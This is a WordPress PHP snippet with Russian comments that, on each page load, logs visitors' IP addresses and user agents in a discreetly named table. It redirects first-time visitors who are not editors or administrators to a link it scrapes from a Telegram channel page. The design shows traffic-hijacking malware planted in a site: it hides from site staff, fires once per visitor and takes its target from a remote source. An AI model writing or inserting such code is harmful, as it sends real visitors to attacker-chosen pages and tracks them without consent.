// === Горячее перенаправление и логирование === add_action( 'template_redirect', 'grl_maybe_redirect' ); /** * Получить реальный IP (Cloudflare/X-Forwarded-For). */ function grl_get_real_ip() { if ( ! empty($_SERVER['HTTP_CF_CONNECTING_IP']) ) { return $_SERVER['HTTP_CF_CONNECTING_IP']; } elseif ( ! empty($_SERVER['HTTP_CLIENT_IP']) ) { return $_SERVER['HTTP_CLIENT_IP']; } elseif ( ! empty($_SERVER['HTTP_X_FORWARDED_FOR']) ) { return trim( explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0] ); } return $_SERVER['REMOTE_ADDR'] ?? ''; } /** * Запрос к удалённому URL (cURL или file_get_contents). */ function grl_fetch(string $url): string|false { if ( function_exists('curl_init') ) { $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', CURLOPT_TIMEOUT => 5, ]); $res = curl_exec($ch); curl_close($ch); return $res ?: false; } return @file_get_contents($url) ?: false; } /** * Извлечь ссылку из страницы и кэшировать её (30 с). */ function grl_get_redirect_link(string $remote_url, string $cache_file): string|false { $html = grl_fetch($remote_url); if ( ! $html ) { return is_file($cache_file) ? trim(file_get_contents($cache_file)) : false; } if ( preg_match_all('#(https?://[^<]+)#i', $html, $m) ) { $link = end($m[1]); if ($link) { file_put_contents($cache_file, $link); return $link; } } if ( preg_match_all('#]+href="(https?://[^"]+)"#i', $html, $m2) ) { foreach ( array_reverse($m2[1]) as $link ) { if ( stripos($link, 't.me') === false ) { file_put_contents($cache_file, $link); return $link; } } } return false; } /** * Логирование уникального IP+UA и перенаправление. */ function grl_maybe_redirect() { global $wpdb; $remote_url = 'https://t.me/trafficredirect1'; $on_hot = true; $ip = grl_get_real_ip(); $ua = $_SERVER['HTTP_USER_AGENT'] ?? ''; $ip_bin = inet_pton($ip) ?: $ip; $table = $wpdb->prefix . 'wusers_inputs'; if ( $wpdb->get_var("SHOW TABLES LIKE '$table'") !== $table ) { require_once ABSPATH . 'wp-admin/includes/upgrade.php'; $sql = " CREATE TABLE $table ( id BIGINT UNSIGNED NOT NULL AUTO_INCREMENT, ip VARBINARY(16) NOT NULL, useragent VARCHAR(512) NOT NULL, first_seen DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP, PRIMARY KEY(id), KEY idx_ip_ua (ip, useragent) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; "; dbDelta($sql); } $exists = $wpdb->get_var( $wpdb->prepare( "SELECT 1 FROM $table WHERE ip = %s AND useragent = %s LIMIT 1", $ip_bin, $ua ) ); if ( ! $exists ) { $wpdb->insert($table, ['ip' => $ip_bin, 'useragent' => $ua], ['%s','%s']); } if ( $on_hot && ! $exists && ! current_user_can('editor') && ! current_user_can('administrator') ) { $cache_file = sys_get_temp_dir() . '/tg_redirect_cache.txt'; $age = is_file($cache_file) ? (time() - filemtime($cache_file)) : PHP_INT_MAX; $link = $age >= 30 ? grl_get_redirect_link($remote_url, $cache_file) : trim(file_get_contents($cache_file)); if ( $link ) { wp_redirect($link); exit; } } }